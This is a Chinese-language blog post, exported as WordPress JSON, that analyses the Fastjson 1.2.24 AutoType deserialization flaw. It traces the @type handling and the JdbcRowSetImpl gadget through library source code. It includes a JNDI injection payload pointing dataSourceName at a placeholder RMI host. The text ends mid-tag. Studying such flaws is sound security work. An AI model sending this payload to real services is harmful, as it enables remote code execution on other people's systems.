{"id":2313,"date":"2026-10-09T11:36:58","date_gmt":"2026-10-09T03:36:58","guid":{"rendered":"http:\/\/charlottezhiend.cn:8080\/?p=2313"},"modified":"2026-10-10T14:24:26","modified_gmt":"2026-10-10T06:24:26","slug":"1-15","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2026\/10\/09\/1-15\/","title":{"rendered":"Fastjson"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">JSON \u5bf9\u6211\u4eec\u6765\u8bf4\u5e76\u4e0d\u964c\u751f\u3002\u4f5c\u4e3a\u4e00\u79cd\u8f7b\u91cf\u7ea7\u7684\u6570\u636e\u4ea4\u6362\u683c\u5f0f\uff0c\u5b83\u5177\u6709\u7ed3\u6784\u6e05\u6670\u3001\u6613\u4e8e\u8bfb\u5199\u4ee5\u53ca\u8de8\u8bed\u8a00\u7b49\u7279\u70b9\uff0c\u56e0\u6b64\u88ab\u5e7f\u6cdb\u5e94\u7528\u4e8e\u7f51\u7edc\u4f20\u8f93\u3001\u914d\u7f6e\u6587\u4ef6\u548c\u6570\u636e\u5b58\u50a8\u7b49\u573a\u666f\u3002\u5728 Java \u5e94\u7528\u4e2d\uff0c\u901a\u5e38\u9700\u8981\u501f\u52a9\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316\u7ec4\u4ef6\uff0c\u5b9e\u73b0 JSON \u6587\u672c\u4e0e Java \u5bf9\u8c61\u4e4b\u95f4\u7684\u8f6c\u6362\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\n        \"name\":\"BossFrank\",\n\n        \"age\":23,\n\n        \"media\":&#91;\"CSDN\",\"bilibili\",\"Github\"]\n\n}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Fastjson<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">fastjson\u662f\u4e00\u4e2a\u7531\u963f\u91cc\u5f00\u53d1\u7684\u4e00\u4e2a\u5f00\u6e90Java\u7c7b\u5e93\uff0c\u53ef\u4ee5\u5c06Java\u5bf9\u8c61\u5e8f\u5217\u5316\u4e3aJSON\u683c\u5f0f\uff0c\u4e5f\u53ef\u4ee5\u5c06JSON\u5b57\u7b26\u4e32\u53cd\u5e8f\u5217\u5316\u4e3aJava\u5bf9\u8c61\u3002<strong>Fastjson\u53ef\u4ee5\u64cd\u4f5c\u4efb\u4f55Java\u5bf9\u8c61\uff0c\u5373\u4f7f\u662f\u4e00\u4e9b\u9884\u5148\u5b58\u5728\u7684\u6ca1\u6709\u6e90\u7801\u7684\u5bf9\u8c61\u3002<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Fastjson\u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316\u539f\u7406<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Fastjson \u5e76\u4e0d\u4f9d\u8d56 Java \u539f\u751f\u7684 <code>ObjectOutputStream<\/code> \u548c <code>ObjectInputStream<\/code> \u673a\u5236\uff0c\u800c\u662f\u901a\u8fc7\u53cd\u5c04\u3001\u65b9\u6cd5\u8c03\u7528\u4ee5\u53ca\u52a8\u6001\u751f\u6210\u7684\u8bbf\u95ee\u903b\u8f91\uff0c\u5b9e\u73b0 Java \u5bf9\u8c61\u4e0e JSON \u6587\u672c\u4e4b\u95f4\u7684\u8f6c\u6362\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0cFastjson \u901a\u5e38\u901a\u8fc7 Getter \u65b9\u6cd5\u6216\u76f4\u63a5\u8bfb\u53d6\u5bf9\u8c61\u5b57\u6bb5\uff0c\u5c06 Java \u5bf9\u8c61\u8f6c\u6362\u4e3a JSON \u6570\u636e\uff1b\u5728\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0c\u5219\u4f1a\u89e3\u6790 JSON \u4e2d\u7684\u5b57\u6bb5\uff0c\u5e76\u901a\u8fc7\u6784\u9020\u65b9\u6cd5\u3001Setter \u65b9\u6cd5\u6216\u76f4\u63a5\u5b57\u6bb5\u8d4b\u503c\u7b49\u65b9\u5f0f\u521b\u5efa\u548c\u586b\u5145 Java \u5bf9\u8c61\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5982\u679c\u53ea\u57fa\u4e8esetter\/getter\u65b9\u6cd5\u8fdb\u884c\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u4f1a\u5e26\u6765\u4ec0\u4e48\u95ee\u9898\u5462\uff1f<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u8bbe\u5b58\u5728\u4e00\u4e2a <code>Fruit<\/code> \u63a5\u53e3\uff0c\u4ee5\u53ca\u4e24\u4e2a\u5b9e\u73b0\u8be5\u63a5\u53e3\u7684\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.math.BigDecimal;\n\ninterface Fruit {\n}\n\nclass Apple implements Fruit {\n    private BigDecimal price;\n\n    \/\/ \u7701\u7565 Setter\u3001Getter \u548c toString \u65b9\u6cd5\n}\n\nclass IPhone implements Fruit {\n    private BigDecimal price;\n\n    \/\/ \u7701\u7565 Setter\u3001Getter \u548c toString \u65b9\u6cd5\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53 <code>Apple<\/code> \u5bf9\u8c61\u7684 <code>price<\/code> \u4e3a <code>0.5<\/code> \u65f6\uff0c\u4f7f\u7528 Fastjson \u9ed8\u8ba4\u914d\u7f6e\u8fdb\u884c\u5e8f\u5217\u5316\uff0c\u5f97\u5230\u7684 JSON \u901a\u5e38\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"price\":0.5}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53 <code>IPhone<\/code> \u5bf9\u8c61\u7684 <code>price<\/code> \u4e3a <code>5000<\/code> \u65f6\uff0c\u5e8f\u5217\u5316\u7ed3\u679c\u901a\u5e38\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"price\":5000}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cJSON \u4e2d\u53ea\u4f1a\u4fdd\u7559\u5bf9\u8c61\u7684\u5c5e\u6027\u548c\u503c\uff0c\u4e0d\u4f1a\u8bb0\u5f55\u5bf9\u8c61\u5b9e\u73b0\u4e86\u54ea\u4e2a\u63a5\u53e3\uff0c\u4e5f\u4e0d\u4f1a\u81ea\u52a8\u4fdd\u7559 <code>Apple<\/code> \u6216 <code>IPhone<\/code> \u7b49\u5177\u4f53\u7c7b\u578b\u4fe1\u606f\u3002\u56e0\u6b64\uff0c\u4e0a\u8ff0\u4e24\u4e2a\u5bf9\u8c61\u5e8f\u5217\u5316\u540e\u7684 JSON \u7ed3\u6784\u57fa\u672c\u76f8\u540c\uff0c\u4ec5\u51ed JSON \u4e2d\u7684 <code>price<\/code> \u5b57\u6bb5\uff0c\u53cd\u5e8f\u5217\u5316\u7a0b\u5e8f\u65e0\u6cd5\u5224\u65ad\u539f\u5bf9\u8c61\u7684\u5177\u4f53\u7c7b\u578b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4e3a\u4e86\u5728\u5e8f\u5217\u5316\u7ed3\u679c\u4e2d\u4fdd\u7559\u5177\u4f53\u7684 Java \u7c7b\u578b\uff0cFastjson \u53ef\u4ee5\u5199\u5165\u989d\u5916\u7684\u7c7b\u578b\u4fe1\u606f\u3002<\/strong>\u542f\u7528\u76f8\u5e94\u7c7b\u578b\u4fe1\u606f\u529f\u80fd\u540e\uff0c\u7ed3\u679c\u53ef\u80fd\u7c7b\u4f3c\u4e8e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"@type\": \"com.example.Apple\",\n  \"price\": 0.5\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\uff0c<strong><code>@type<\/code> \u8868\u793a\u5bf9\u8c61\u7684\u5177\u4f53\u7c7b\u578b<\/strong>\u3002\u53cd\u5e8f\u5217\u5316\u65f6\uff0cFastjson \u53ef\u4ee5\u6839\u636e\u8be5\u4fe1\u606f\u786e\u5b9a\u9700\u8981\u521b\u5efa\u7684 Java \u7c7b\uff0c\u8fd9\u4e5f\u662f\u7406\u89e3 AutoType \u673a\u5236\u53ca\u5176\u5386\u53f2\u5b89\u5168\u98ce\u9669\u7684\u57fa\u7840\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">fastjson 1.2.24 JdbcRowSetImpl Gadget<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3a\u4e86\u5728 JSON \u4e2d\u4fdd\u7559 Java \u5bf9\u8c61\u7684\u5177\u4f53\u7c7b\u578b\uff0c\u5e76\u4f7f\u7a0b\u5e8f\u5728\u53cd\u5e8f\u5217\u5316\u63a5\u53e3\u3001\u62bd\u8c61\u7c7b\u6216 <code>Object<\/code> \u7c7b\u578b\u65f6\u80fd\u591f\u8fd8\u539f\u539f\u6709\u7684\u5b9e\u73b0\u7c7b\uff0cFastjson \u63d0\u4f9b\u4e86\u7c7b\u578b\u4fe1\u606f\u5199\u5165\u548c AutoType \u8bc6\u522b\u673a\u5236\u3002\u5e8f\u5217\u5316\u65f6\uff0c\u5177\u4f53\u7c7b\u540d\u53ef\u4ee5\u88ab\u5199\u5165 JSON \u7684 <code>@type<\/code> \u5b57\u6bb5\uff1b\u53cd\u5e8f\u5217\u5316\u65f6\uff0cAutoType \u6839\u636e\u8be5\u5b57\u6bb5\u786e\u5b9a\u9700\u8981\u5b9e\u4f8b\u5316\u7684 Java \u7c7b\u578b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>@type\u7684\u7c7b\u6709\u53ef\u80fd\u88ab\u6076\u610f\u6784\u9020\uff0c\u53ea\u9700\u8981\u5408\u7406\u6784\u9020\u4e00\u4e2aJSON\uff0c\u4f7f\u7528@type\u6307\u5b9a\u4e00\u4e2a\u60f3\u8981\u7684\u653b\u51fb\u7c7b\u5e93\u5c31\u53ef\u4ee5\u5b9e\u73b0\u653b\u51fb\u3002<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u56e0\u4e3afastjson\u5728\u5904\u7406\u4ee5@type\u5f62\u5f0f\u4f20\u5165\u7684\u7c7b\u7684\u65f6\u5019\uff0c\u4f1a\u9ed8\u8ba4\u8c03\u7528\u8be5\u7c7b\u7684set\/get\/is\u51fd\u6570\uff0c\u56e0\u6b64\u6211\u4eec\u5728\u5bfb\u627e\u5229\u7528\u7c7b\u7684\u65f6\u5019\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u7c7b\u7684\u6210\u5458\u53d8\u91cf\u53ef\u4ee5\u63a7\u5236<br>2.\u60f3\u529e\u6cd5\u5728\u8c03\u7528\u7c7b\u7684\u67d0\u4e2aset\/get\/is\u51fd\u6570\u7684\u65f6\u5019\u9020\u6210\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8e\u662f\u4fbf\u627e\u5230\u4e86JdbcRowSetImpl\u7c7b\uff08<a href=\"https:\/\/github.com\/openjdk\/jdk8u\/blob\/master\/jdk\/src\/share\/classes\/com\/sun\/rowset\/JdbcRowSetImpl.java\">jdk8u\/jdk\/src\/share\/classes\/com\/sun\/rowset\/JdbcRowSetImpl.java at master \u00b7 openjdk\/jdk8u \u00b7 GitHub<\/a>\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53cd\u5e8f\u5217\u5316JdbcRowSetImpl\u7c7b\u7684\u65f6\u5019\u4f1a\u8c03\u7528\u5176setter\u65b9\u6cd5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\u5c31\u6709setAutoCommit\u65b9\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    public void setAutoCommit(boolean autoCommit) throws SQLException {\n        \/\/ The connection object should be there\n        \/\/ in order to commit the connection handle on or off.\n\n        if(conn != null) {\n           conn.setAutoCommit(autoCommit);\n        } else {\n           \/\/ Coming here means the connection object is null.\n           \/\/ So generate a connection handle internally, since\n           \/\/ a JdbcRowSet is always connected to a db, it is fine\n           \/\/ to get a handle to the connection.\n\n           \/\/ Get hold of a connection handle\n           \/\/ and change the autcommit as passesd.\n           conn = connect();\n\n           \/\/ After setting the below the conn.getAutoCommit()\n           \/\/ should return the same value.\n           conn.setAutoCommit(autoCommit);\n\n        }\n    }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u8c03\u7528\u5230\u4e86connect()<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    private Connection connect() throws SQLException {\n\n        \/\/ Get a JDBC connection.\n\n        \/\/ First check for Connection handle object as such if\n        \/\/ \"this\" initialized  using conn.\n\n        if(conn != null) {\n            return conn;\n\n        } else if (getDataSourceName() != null) {\n\n            \/\/ Connect using JNDI.\n            try {\n                Context ctx = new InitialContext();\n                DataSource ds = (DataSource)ctx.lookup\n                    (getDataSourceName());\n                \/\/return ds.getConnection(getUsername(),getPassword());\n\n                if(getUsername() != null &amp;&amp; !getUsername().equals(\"\")) {\n                     return ds.getConnection(getUsername(),getPassword());\n                } else {\n                     return ds.getConnection();\n                }\n            }\n            catch (javax.naming.NamingException ex) {\n                throw new SQLException(resBundle.handleGetObject(\"jdbcrowsetimpl.connect\").toString());\n            }\n\n        } else if (getUrl() != null) {\n            \/\/ Check only for getUrl() != null because\n            \/\/ user, passwd can be null\n            \/\/ Connect using the driver manager.\n\n            return DriverManager.getConnection\n                    (getUrl(), getUsername(), getPassword());\n        }\n        else {\n            return null;\n        }\n\n    }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u987a\u7740\u903b\u8f91\u5f80\u4e0b\u770b\u5c31\u80fd\u770b\u5230InitalContext.loopup(getDataSourceName())\u8c03\u7528\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u6709\u4e2a\u95ee\u9898\u5c31\u662f\u600e\u4e48\u624d\u80fd\u8d70\u5230else if (getDataSourceName() != null)\u8fd9\u4e2a\u5206\u652f\uff0c\u4e00\u6837\u901a\u8fc7fastjson\u53cd\u5e8f\u5217\u5316\u8c03\u7528setter\u65b9\u6cd5\u7684\u7279\u6027\uff0cJSON\u4e2d\u8bbe\u7f6edataSourceName\u5c5e\u6027\uff0c\u5b9e\u9645\u4e0a\u4f1a\u8c03\u7528setDataSourceName(name)\u65b9\u6cd5\u5c06\u503c\u5199\u5165dataSource\u4ece\u800c\u5b9e\u73b0getDataSourceName() != null<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f20\u4e2apayload\u770b\u770b\u5177\u4f53\u8c03\u7528\u94fe<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n  \"dataSourceName\": \"rmi:\/\/LAB_JNDI_HOST:1099\/Probe\",\n  \"autoCommit\": true\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">JdbcRowSetImpl.setDataSourceName(rmi:\/\/LAB_JNDI_HOST:1099\/Probe) &#8211;&gt; JdbcRowSetImpl.setAutoCommit(true) &#8211;&gt; JdbcRowSetImpl.connect() &#8211;&gt; InitalContext.loopup(rmi:\/\/LAB_JNDI_HOST:1099\/Probe)\u9020\u6210JNDI\u6ce8\u5165\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u77e5\u9053\u540e\u7f6e\u9636\u6bb5\u7684\u8c03\u7528\u94fe\u540e\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u77e5\u9053fastjson 1.2.24\u524d\u7f6e\u9636\u6bb5\u7684\u5165\u53e3\u70b9\uff0c\u7a76\u7adf\u662f\u5982\u4f55\u5bfc\u81f4\u7684fastjson\u53cd\u5e8f\u5217\u5316\uff08Fastjson\u6e90\u7801 <a href=\"https:\/\/github.com\/alibaba\/fastjson\/blob\/1.2.24\/src\/main\/java\/com\/alibaba\/fastjson\/JSON.java\">https:\/\/github.com\/alibaba\/fastjson\/blob\/1.2.24\/src\/main\/java\/com\/alibaba\/fastjson\/JSON.java<\/a>\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4eceJSON.parse()\u51fd\u6570\u5f00\u59cb\u770b\u8d77<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    public static Object parse(String text) {\n        return parse(text, DEFAULT_PARSER_FEATURE);\n    }\n\n    public static Object parse(String text, int features) {\n        if (text == null) {\n            return null;\n        }\n\n        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);\n        Object value = parser.parse();\n\n        parser.handleResovleTask(value);\n\n        parser.close();\n\n        return value;\n    }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u521b\u5efa\u7684DefaultJSONParser\u662f\u771f\u6b63\u8d1f\u8d23\u89e3\u6790JSON\u7684\u5bf9\u8c61<\/strong>\uff0cParserConfig\u8d1f\u8d23\u4fdd\u5b58\u53cd\u5e8f\u5217\u5316\u5668\u914d\u7f6e\uff0c\u4ee5\u53ca\u6839\u636eJava\u7c7b\u578b\u9009\u62e9\u5bf9\u5e94\u7684ObjectDeserializer\u3002\u521b\u5efa\u540e\u6267\u884cparser.parse();<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">JSON.parser() &#8211;&gt; DefaultJSONParser.parse()<br>DefaultJSONParser.parse() &#8211;&gt; DefaultJSONParser.parse(null)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08<a href=\"https:\/\/github.com\/alibaba\/fastjson\/blob\/1.2.24\/src\/main\/java\/com\/alibaba\/fastjson\/parser\/DefaultJSONParser.java\">https:\/\/github.com\/alibaba\/fastjson\/blob\/1.2.24\/src\/main\/java\/com\/alibaba\/fastjson\/parser\/DefaultJSONParser.java<\/a>\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public Object parse() {\n        return parse(null);\n    }\npublic Object parse(Object fieldName) {\n    final JSONLexer lexer = this.lexer;\n\n    switch (lexer.token()) {\n        \/\/ ...\n        case LBRACE:\n            JSONObject object = new JSONObject(\n                lexer.isEnabled(Feature.OrderedField)\n            );\n\n            return parseObject(object, fieldName);\n        \/\/ ...\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u8f93\u5165\u662f\u4e00\u4e2aJSON\u5bf9\u8c61\u65f6\uff0c\u8bcd\u6cd5\u5206\u6790\u5668lexer\u4f1a\u628a\u5f00\u5934\u7684{\u8bc6\u522b\u4e3aJSONToken.LBRACE<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DefaultJSONParser.parse(null) &#8211;&gt; case LBRACE &#8211;&gt; DefaultJSONParser.parseObject()<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DefaultJSONParser:320-322\n                if (key == JSON.DEFAULT_TYPE_KEY &amp;&amp; !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {\n                    String typeName = lexer.scanSymbol(symbolTable, '\"');\n                    Class&lt;?&gt; clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u6709\u8fd9\u6837\u7684\u5224\u65ad\u89e3\u91ca\u4e86DefaultJSONParser\u5982\u4f55\u8bc6\u522b@type<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6761\u4ef6\u4e00\uff1akey == JSON.DEFAULT_TYPE_KEY \uff0cJSON.DEFAULT_TYPE_KEY\u9ed8\u8ba4\u5bf9\u5e94&#8221;@type&#8221;<br>\u6761\u4ef6\u4e8c\uff1a!lexer.isEnabled(Feature.DisableSpecialKeyDetect)\uff0c\u5982\u679c\u542f\u7528\u4e86DisableSpecialKeyDetect\uff0c\u8fd9\u91cc\u5c31\u4e0d\u4f1a\u6309\u7279\u6b8a\u7c7b\u578b\u5b57\u6bb5\u5904\u7406@type\uff0c\u56e0\u6b64\u4e0d\u662f\u6240\u6709Fastjson\u914d\u7f6e\u90fd\u4f1a\u81ea\u52a8\u8bc6\u522b\u5e76\u5904\u7406@type\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u4e24\u4e2a\u6761\u4ef6\u90fd\u7b26\u5408\u7684\u65f6\u5019\u8fdb\u5165\u5230\u5173\u952e\u7684\u8c03\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Class&lt;?&gt; clazz = TypeUtils.loadClass(\n    typeName,\n    config.getDefaultClassLoader()\n);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">typeName\u539f\u672c\u53ea\u662fJSON\u4e2d\u7684\u4e00\u4e2a\u5b57\u7b26\u4e32\u3002TypeUtils.loadClass()\u5219\u5c1d\u8bd5\u5c06\u8fd9\u4e2a\u5b57\u7b26\u4e32\u89e3\u6790\u4e3aJVM\u4e2d\u7684Class\u5bf9\u8c61\u3002<strong>Class\u5bf9\u8c61\u5219\u5728\u53cd\u5c04\u4e2d\u975e\u5e38\u5e38\u89c1\uff0c\u901a\u8fc7Class\u5bf9\u8c61\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7forName\u83b7\u53d6\u5bf9\u5e94\u7684\u7c7b\u3001getMethod\u83b7\u53d6\u5bf9\u5e94\u7c7b\u4e2d\u7684\u65b9\u6cd5\uff0cinvoke\u8c03\u7528\u5bf9\u5e94\u7684\u65b9\u6cd5\u3002<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DefaultJSONParser:355-368\n this.setResolveStatus(TypeNameRedirect);\n\n                    if (this.context != null &amp;&amp; !(fieldName instanceof Integer)) {\n                        this.popContext();\n                    }\n                    \n                    if (object.size() &gt; 0) {\n                        Object newObj = TypeUtils.cast(object, clazz, this.config);\n                        this.parseObject(newObj);\n                        return newObj;\n                    }\n\n                    ObjectDeserializer deserializer = config.getDeserializer(clazz);#\u7b2c\u4e00\u6b65\uff1a\u6839\u636e\u521a\u624d\u5f97\u5230Class&lt;?&gt;\uff0c\u83b7\u53d6\u5bf9\u5e94\u7684\u53cd\u5e8f\u5217\u5316\u5668\n                    return deserializer.deserialze(this, clazz, fieldName);#\u7b2c\u4e8c\u6b65\u628a\u5269\u4f59\u7684JSON\u89e3\u6790\u8fc7\u7a0b\u4ea4\u7ed9\u76ee\u6807\u7c7b\u578b\u7684\u53cd\u5e8f\u5217\u5316\u5668\uff0c\u5bf9\u4e8e\u666e\u901a\u7684JavaBean\u4f1a\u8fdb\u5165JavaBeanDeserialzer.deserialze()\n                }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">DefaultJSONParser.parseObject() \u53d1\u73b0 @type &#8211;&gt; TypeUtils.loadClass() &#8211;&gt;ParserConfig.getDeserializer() &#8211;&gt; JavaBeanDeserializer(ParserConfig config, Class&lt;?&gt; clazz, Type type)\uff08<a href=\"https:\/\/github.com\/alibaba\/fastjson\/blob\/1.2.24\/src\/main\/java\/com\/alibaba\/fastjson\/parser\/deserializer\/JavaBeanDeserializer.java\">https:\/\/github.com\/alibaba\/fastjson\/blob\/1.2.24\/src\/main\/java\/com\/alibaba\/fastjson\/parser\/deserializer\/JavaBeanDeserializer.java<\/a>\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JavaBeanDeserializer:38-40#\u6839\u636e\u53c2\u6570\u5217\u8868\u8c03\u7528\u6784\u9020\u65b9\u6cd5\n    public JavaBeanDeserializer(ParserConfig config, Class&lt;?&gt; clazz, Type type){\n        this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));\n    }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">JavaBeanInfo.build()\u8d1f\u8d23\u5206\u6790JavaBean\u7684\u7ed3\u6784\uff0c\u5305\u62ec\u6784\u9020\u65b9\u6cd5\u3001\u5b57\u6bb5\u3001Setter\u7b49\uff0cFastjson\u901a\u8fc7JavaBeanInfo\u548cFieldInfo\u4fdd\u5b58\u8fd9\u4e9b\u4fe1\u606f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u5982\u4e00\u4e2a\u7c7b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class TestBean {\n    private boolean autoCommit;\n\n    public void setAutoCommit(boolean value) {\n        this.autoCommit = value;\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Fastjson\u53ef\u4ee5\u5efa\u7acb\u7c7b\u4f3c\u8fd9\u6837\u7684\u5143\u6570\u636e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JavaBeanInfo\n    \u2502\n    \u251c\u2500\u2500 clazz = TestBean.class\n    \u2502\n    \u251c\u2500\u2500 defaultConstructor\n    \u2502\n    \u2514\u2500\u2500 fields\n          \u2502\n          \u2514\u2500\u2500 FieldInfo\n                \u251c\u2500\u2500 name = \"autoCommit\"\n                \u251c\u2500\u2500 fieldClass = boolean.class\n                \u2514\u2500\u2500 method = setAutoCommit(boolean)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">JavaBeanDeserializer(ParserConfig config, Class&lt;?&gt; clazz, Type type) &#8211;&gt; JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u4e0b\u6765JavaBeanDeserializer\u4f7f\u7528\u8fd9\u4e9bFiledInfo\u521b\u5efaFieldDeserializer\uff0c\u4e3a\u6bcf\u4e2a\u5c5e\u6027\u521b\u5efa\u5bf9\u5e94\u7684\u53cd\u5e8f\u5217\u5316\u5668\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JavaBeanDeserializer.deserialze:38-40\n    public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo){\n        this.clazz = beanInfo.clazz;\n        this.beanInfo = beanInfo;\n        \n        sortedFieldDeserializers = new FieldDeserializer&#91;beanInfo.sortedFields.length];\n        for (int i = 0, size = beanInfo.sortedFields.length; i &lt; size; ++i) {\n            FieldInfo fieldInfo = beanInfo.sortedFields&#91;i];\n            FieldDeserializer fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);\n\n            sortedFieldDeserializers&#91;i] = fieldDeserializer;\n        }\n\n        fieldDeserializers = new FieldDeserializer&#91;beanInfo.fields.length];\n        for (int i = 0, size = beanInfo.fields.length; i &lt; size; ++i) {\n            FieldInfo fieldInfo = beanInfo.fields&#91;i];\n            FieldDeserializer fieldDeserializer = getFieldDeserializer(fieldInfo.name);\n            fieldDeserializers&#91;i] = fieldDeserializer;\n        }\n    }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b8c\u6210\u53cd\u5e8f\u5217\u5316\u7684\u521d\u59cb\u6b65\u9aa4\u540eTypeUtils.loadClass() &#8211;&gt;ParserConfig.getDeserializer() &#8211;&gt; JavaBeanDeserializer.deserialze(DefaultJSONParser parser, Type type, Object fieldName) &#8211;&gt; JavaBeanDeserializer.deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JavaBeanDeserializer:183-189\n    public &lt;T&gt; T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {\n        return deserialze(parser, type, fieldName, 0);\n    }\n\n    public &lt;T&gt; T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {\n        return deserialze(parser, type, fieldName, null, features);\n    }\nJavaBeanDeserializer:266-270\n    protected &lt;T&gt; T deserialze(DefaultJSONParser parser, \/\/ \n                               Type type, \/\/ \n                               Object fieldName, \/\/ \n                               Object object, \/\/\n                               int features)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53cd\u5e8f\u5217\u5316\u5728\u89e3\u6790\u5c5e\u6027\u7684\u8fc7\u7a0b\u4e2d\uff0c\u4f1a\u68c0\u67e5\u5b9e\u4f8b\u662f\u5426\u5df2\u7ecf\u521b\u5efa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JavaBeanDeserializer:569-575\n                if (object == null &amp;&amp; fieldValues == null) {\n                    object = createInstance(parser, type);\n                    if (object == null) {\n                        fieldValues = new HashMap&lt;String, Object&gt;(this.fieldDeserializers.length);\n                    }\n                    childContext = parser.setContext(context, object, fieldName);\n                }\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">createInstance()\u4f1a\u6839\u636e\u76ee\u6807\u7684\u6784\u9020\u65b9\u5f0f\u521b\u5efa\u5b9e\u4f8b\uff0c\u8fd9\u91cc\u521b\u5efa\u7684\u5c31\u662f\u63a5\u4e0b\u6765\u63a5\u6536\u5c5e\u6027\u7684JavaBean\u5bf9\u8c61\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>JavaBeanDeserializer:108\nobject = constructor.newInstance();<\/code><\/pre>\n\n\n\n<p 